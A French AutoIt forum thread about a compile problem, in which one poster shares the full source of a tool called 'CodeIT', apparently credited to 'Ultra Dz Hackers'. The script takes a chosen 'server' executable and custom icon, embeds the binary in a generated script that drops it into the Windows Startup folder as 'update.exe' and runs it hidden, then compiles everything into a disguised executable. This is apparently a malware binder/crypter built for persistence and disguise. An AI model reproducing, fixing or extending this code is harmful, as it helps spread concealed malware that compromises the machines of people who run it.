Probleme Compilation AutoIT

Bonjour.

Pas de réponse, je ne suis plus le sujet.

Bonne continuation.

++

Salut

puis-je avoir l'image que tu utilises dans la Gui stp ?

Comme cela, je peux voir si à la compilation, cela change quelque chose

merci

++

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>

FileInstall("to.exe", @TempDir & "\to.exe", 9)
FileInstall("AutoItSC.bin", @TempDir & "\AutoItSC.bin", 9)
FileInstall("ma.jpg", @TempDir & "\ma.jpg", 9)
FileInstall("skin.style", @TempDir & "\skin.style", 9)
FileInstall("uskindll.dll", @TempDir & "\uskindll.dll", 9)
GLOBAL $HUSKINDLLHANDLE= - 1

FUNC _USKIN_LOADDLL()
LOCAL $SDLLNAME
$SDLLNAME= @TempDir & "\uskindll.dll"
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
$HUSKINDLLHANDLE= DLLOPEN($SDLLNAME)
IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(0, 0, 0)
DLLCALL("kernel32.dll", "handle", "LoadLibraryW", "wstr", $SDLLNAME)
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC

FUNC _USKIN_EXIT()
IF $HUSKINDLLHANDLE= - 1 THEN RETURN 0
DLLCALL($HUSKINDLLHANDLE, "int", "USkinExit")
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC

FUNC _USKIN_INIT($SSKINNAME, $SUSERNAME= "ptr", $SREGCODE= "ptr")
LOCAL $VUSERNAME= "ptr", $VREGCODE= "ptr"
IF $HUSKINDLLHANDLE= - 1 AND NOT _USKIN_LOADDLL() THEN RETURN SETERROR(0, 0, 0)
IF STRINGLEN($SUSERNAME) THEN $VUSERNAME= "str"
IF STRINGLEN($SREGCODE) THEN $VREGCODE= "str"
DLLCALL($HUSKINDLLHANDLE, "int", "USkinInit", $VUSERNAME, $SUSERNAME, $VREGCODE, $SREGCODE, "str", $SSKINNAME)
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC

FUNC _USKIN_LOADSKIN($SSKINNAME)
IF $HUSKINDLLHANDLE= - 1 THEN RETURN 0
DLLCALL($HUSKINDLLHANDLE, "int", "USkinLoadSkin", "str", $SSKINNAME)
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC

FUNC _USKIN_REMOVESKIN()
IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(1, 0, 0)
DLLCALL($HUSKINDLLHANDLE, "int", "USkinRemoveSkin")
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 0
ENDFUNC

FUNC _DLLCLOSE()
DLLCLOSE($HUSKINDLLHANDLE)
ENDFUNC

FUNC _USKIN_RESTORESKIN()
IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(0, 0, 0)
DLLCALL($HUSKINDLLHANDLE, "int", "USkinRestoreSkin")
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC

FUNC _USKIN_ABOUTSKIN()
IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(0, 0, 0)
LOCAL $RESULT= DLLCALL($HUSKINDLLHANDLE, "int", "USkinAboutSkin")
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 0
ENDFUNC

ONAUTOITEXITREGISTER("__EXIT")
_USKIN_LOADDLL()
_USKIN_INIT(@TempDir & "\skin.style")

Sleep(1500)
#Region ### START Koda GUI section ### Form=e:\documents and settings\shq4\my documents\downloads\compressed\koda_1.7.3.0\forms\form32321.kxf
$Form1_1 = GUICreate(": CodeIT :", 243, 323, 339, 153)
$Server = GUICtrlCreateInput("Server", 0, 8, 209, 21)
$Button1 = GUICtrlCreateButton("....", 216, 8, 25, 17)
$icone = GUICtrlCreateInput("icone", 0, 40, 209, 21)
$Button2 = GUICtrlCreateButton("....", 216, 40, 25, 17)
$Button3 = GUICtrlCreateButton("CodeIT", 56, 296, 129, 25)
$Pic1 = GUICtrlCreatePic(@TempDir & "\ma.jpg", 16, 64, 209, 257)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
Local $mydocsfolder = "::{450D8FBA-AD25-11D0-98A8-0800361B1103}"
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
FileDelete(@TempDir & "\run.au3")
FileDelete(@TempDir & "\shq4.exe")
FileDelete(@TempDir & "\to.exe")
FileDelete(@TempDir & "\i.ico")
FileDelete(@TempDir & "\crypted.exe")
FileDelete(@TempDir & "\2.jpg")
Beep(700, 100)
MsgBox(0, "Code 37 ", " Bye :)")

Exit
Case $button1
$b = FileOpenDialog("Open File", @ScriptDir & "", "All Files (*.*)", 2)
GUICtrlSetData($Server, $b)
$yy = GUICtrlRead($Server)

Case $button2
$i = FileOpenDialog("Open File", @ScriptDir & "", "icone (*.ico)", 2)
GUICtrlSetData($icone, $i)
FileCopy($i, @TempDir & "\i.ico", 9)

Case $button3

FileCopy($yy, @TempDir & "\CodeIT.exe", 9)
$reg = FileSaveDialog("Choose a name.", $mydocsfolder, "all files (*.*)", 2)
$fname = StringTrimLeft($b, StringInStr($b, "\", 1, -1))
$path = StringTrimRight($b, StringLen($fname))
$f = FileOpen($b, 16)
$t = FileRead($f)
FileClose($f)
$z = StringRegExp($t, "(.{1,128})", 3)
$ubound = UBound($z)
$funcname = StringReplace($fname, ".", "_")
$funcname = StringRegExpReplace($funcname, "[^\w]", "")
$funcname = StringRegExpReplace($funcname, "[^\D]", "")
$string = "#NoTrayIcon" & @CRLF
$string &= 'FileDelete(@StartupDir & "\update.exe")' & @CRLF
$string &= '$yy = @StartupDir & "\update.exe"' & @CRLF
$string &= "sleep(2000)" & @CRLF
$string &= $funcname & "($yy)" & @CRLF & @CRLF
If $ubound = 1 Then
$string &= "Func " & $funcname & "($Name)" & @CRLF & ' $FileBin = "' & $z[0] & '"'
ElseIf $ubound > 1 Then
$string &= "Func " & $funcname & "($Name)" & @CRLF & ' $FileBin = "' & $z[0] & '"' & @CRLF
For $i = 1 To $ubound - 2 Step 1
$string &= ' $FileBin &= "' & $z[$i] & '"' & @CRLF
Next
$string &= ' $FileBin &= "' & $z[$ubound - 1] & '"' & @CRLF
EndIf
If $ubound > 0 Then
$string &= @CRLF
$string &= " $hFile = FileOpen($Name, 17)" & @CRLF
$string &= " If $hFile = -1 Then" & @CRLF
$string &= ' MsgBox(0, "Erreur", "Impossible de re-créer le fichier.")' & @CRLF
$string &= " Exit" & @CRLF
$string &= " EndIf" & @CRLF
$string &= " FileWrite($hFile, $FileBin)" & @CRLF
$string &= " FileClose($hFile)" & @CRLF & @CRLF
$string &= "EndFunc"
EndIf
GUICtrlSetData($Server,"wait ............")
GUICtrlSetData($icone,"Please ^ _ ^")
FileDelete(@TempDir & "\run.au3")
FileWrite(@TempDir & "\run.au3", $string)
$1 = @CRLF & @CRLF
$bat = 'run(@StartupDir & "\update.exe")'
$logfile = @TempDir & "/run.au3"
FileWriteLine($logfile, $1)
FileWriteLine($logfile, $bat)

Sleep(3000)
Run(@ComSpec & " /c %temp%\to.exe /in %temp%\run.au3 /out %temp%\crypted.exe /icon %temp%\i.ico /comp 4 /nopack", "", @SW_HIDE)
Sleep(4000)
ProcessWaitClose("to.exe")
Sleep(2000)
FileCopy(@TempDir & "\crypted.exe", $reg&".exe", 9)
sleep(2000)
If FileExists($reg&".exe") Then
GUICtrlSetData($Server,"|| done ||")
GUICtrlSetData($icone,"|| done ||")
Beep(700, 100)
MsgBox(0, "Code 37 ", " || done || . Ultra Dz Hackers")

Else
GUICtrlSetData($Server,"|| Erreur ||")
GUICtrlSetData($icone,"|| Erreur ||")
Beep(700, 100)
MsgBox(0, "Code 37 ", " || Erreur || . please try again")

EndIf

EndSwitch
WEnd

Salut

Sans le code, on ne pourra pas t'aider...

Mais bon, utilises-tu des fileinstall ?

++